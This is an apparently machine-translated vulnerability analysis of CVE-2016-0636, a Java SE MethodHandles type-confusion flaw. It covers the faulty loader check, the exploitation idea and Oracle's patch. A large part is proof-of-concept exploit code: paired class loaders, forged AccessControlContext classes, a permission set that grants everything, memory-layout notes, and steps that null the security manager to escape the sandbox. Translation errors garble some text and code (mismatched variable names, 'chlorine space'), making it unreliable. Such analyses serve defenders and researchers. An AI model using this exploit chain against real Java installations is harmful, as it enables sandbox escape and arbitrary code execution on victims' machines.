Oracle out-of-band release for Java SE Vulnerability Analysis (CVE-2016-0636)
0 × 00 vulnerability Overview
Vulnerability No.: CVE-2016-0636, a variant of the Vulnerability (CVE-2013-5838) that Adam Gowdiak reported to Oracle on 2013. Oracle has not fixed this vulnerability in some code branches, which leads to a reproduction of this vulnerability. Affected Versions: java SE 7u97, 8u73, and 8u74.
0 × 01 test environment
Windows 7 x86 + jdk_1.8.0_74
0 × 02 Vulnerability Analysis
Due to a defect in the implementation of the reflection API, when the method handle (MethodHandles) processes the member functions of the target class, type confusion may occur because the type verification of function parameters is not rigorous. The verification process is shown in:
Clazz indicates the target class, and type indicates the member function of the clazz class. The verification code is shown in:
The implementation code of loadersAreRelated is as follows:
@ Param paramClassLoader1 function parameter loader @ param paramClassLoader2 Object Class Loader private static boolean loadersAreRelated (ClassLoader paramClassLoader1, ClassLoader paramClassLoader2, boolean paramBoolean ){... for (ClassLoader localClassLoader = paramClassLoader2; localClassLoader! = Null; localClassLoader = localClassLoader. getParent () {if (localClassLoader = paramClassLoader1) {return true ;}}...}
This function cyclically checks whether the loader of the target class or the parent loader is equal to the loader of the function parameter. If they are equal, the system returns true, indicating that the verification is successful. When the target class loader is inconsistent with its function parameter loader and the two loaders have parent-child relationships, a type confusion vulnerability is formed.
0 × 03 vulnerability Exploitation
3.1 JAVA class loading rules:
By default, the JVM uses the parent-parent delegation mechanism when loading classes. Generally speaking, when a specific class loader receives a request for loading classes, first, the load task is delegated to the parent class loader, Which is recursive in turn. If the parent class loader can complete such loading tasks, the returned result is successful; only when the parent class loader cannot complete this loading task will the class be loaded by itself. As shown in:
3.2 vulnerability trigger conditions:
Define void. m (P p), A indicates the target class, m indicates the function, and p indicates the parameter; A is loaded by cl2; p is loaded by cl1, and cl1 is the parent loader of cl2 (where p can be forged in cl1 space, because under normal circumstances p should be loaded by cl2 ).
3.3 thoughts on exploits:
Counterfeit p to achieve object obfuscation. With a reasonable memory layout, read and write the memory data of the target object, and set the Security Sandbox manager to null, attackers can bypass the Security Sandbox restrictions and execute arbitrary code.
3.4 code analysis:
By obfuscation of types, the current system permission set is rewritten as a user-defined permission set, and the custom permission set returns an empty set. When the security sandbox manager is set to null, the system permission set is called for security check. However, the system permission set has been tampered with as a custom permission set, so the returned result is empty, after the security permission check is passed, the security manager is successfully set to null, bypassing the Security Sandbox restrictions.
To meet the first and second conditions, construct the POC Code as follows:
URLClassLoader cl1 = (URLClassLoader) getClass (). getClassLoader (); URL utab [] = cl1.getURLs (); URL url = new URL (utab [0] + "/data/"); utab = new URL [1]; utab [0] = url; URLClassLoader cl2 = URLClassLoader. newInstance (utab, cl1);/* find A classe in cl2 namespace/MethodHandles. lookup lookup = MethodHandles. lookup (); Class a_cl2 = cl2.loadClass ("A");/find m method of A class */lookup = lookup. in (acl2); Class ALB [] = new Class [1]; ALB [0] = P. class; desc = MethodType. methodType (Void. TYPE, CTL); MethodHandle mh = lookup. findStatic (acl2, "m", desc); // obtain the method handle of the m function p p = new P (); mh. invokeExact (p );
Construct two class A with the same name as p, one in the cl1 space and the other in the chlorine space to prepare for class obfuscation. The Code is as follows:
A in cl1 namespacepublic class A {public AccessControlContext macc;}
A in cl2 namespacepublic class A {public MyAccessControlContext macc;}
The custom MyAccessControlContext is used to obtain the context. The Code is as follows:
public class MyAccessControlContext {int dummy;public MyProtectionDomain context[];}
Dummy is the filled data, which is used to control the memory layout. As a result, MyAccessControlContext. context is exactly equal to AccessControlContext. content. The memory layout is as follows:
macc in cl1 macc in cl2 03ca56d0 00000001 ---> 03caa940 0000000103ca56d4 1480e188 ---> 03caa944 143e143803ca56d8 00000100 ---> 03caa948 41414141 //dummy03ca56dc 03ca56c0 ---> 03caa94c 03cab6b8 //content03ca56e0 00000000 03ca56e4 00000000 03ca56e8 00000000 03ca56ec 00000000 03ca56f0 00000000 03ca56f4 00000000
The custom MyPermissions permission set class returns an empty set. The Code is as follows:
Public class MyPermissions extends PermissionCollection implements Serializable {Object dummy; // used to control the memory layout public transient boolean hasUnresolved; public PermissionCollection allPermission; public Enumeration elements () {return null ;} public boolean implies (Permission perm) {return true;} public void add (Permission permission ){}}
Set the system permission set to a custom permission set. The Code is as follows:
Public static void set_privileges (MyAccessControlContext macc) {try {MyProtectionDomain mpd = macc. context [0]; MyPermissions permissions = mpd. permissions; // convert to custom permission set permissions. allPermission = (PermissionCollection) permission;/set the system permission set to custom permission set} catch (Throwable e) {e. printStackTrace ();}}
Logical implementation steps
Set the system permission set in cl1 to a user-defined permission set; set the system permission set in cl2. set the security manager to null when executing the command in cl2. The key code is as follows:
/* Exploit type confusion for ACC from cl1 namespace */. macc = AccessController. getContext (); confuse_types_mh.invokeExact (a); // obfuscation of cl1 space objects, permission tampering set/* exploit type confusion for ACC from cl2 namespace */. macc = (AccessControlContext) getACC_mh.invoke (); confuse_types_mh.invokeExact (a); // obfuscation of cl2 space objects, tampering permission set/* invoke Exploit. run method and proceed with full sandbox bypass */run_mh.invokeExact () // set the security manager to null and execute any code;
0 × 04 demo
This vulnerability bypasses the Security Sandbox restriction and a calculator is displayed, as shown in:
0 × 05 vulnerability repair solution
Make sure that the loader of the target class and the loader of the function parameter class are the same. The patch code is as follows:
@ Param paramClass1 function parameter Class @ param paramClass2 target Class public static boolean isTypeVisible (Class paramClass1, Class paramClass2 ){... string class1Name = paramClass1.getName (); Class localClass = (Class) AccessController. doPrivileged (new PrivilegedAction () {public Class run () {try {return Class. forName (class1Name, false, localClassLoader2);} catch (ClassNotFoundException | LinkageError localClassNotFoundException) {} return null ;}}); return paramClass1 = localClass ;}
First, get the name of the parameter class, and then let the target Class Loader try to load the parameter class. If the load is successful, and whether the two classes are equal, if the two classes are equal, the verification succeeds. Otherwise, the verification fails. This ensures that the loader of the target class and the loader of the function parameter class are the same loader, and the vulnerability is successfully repaired.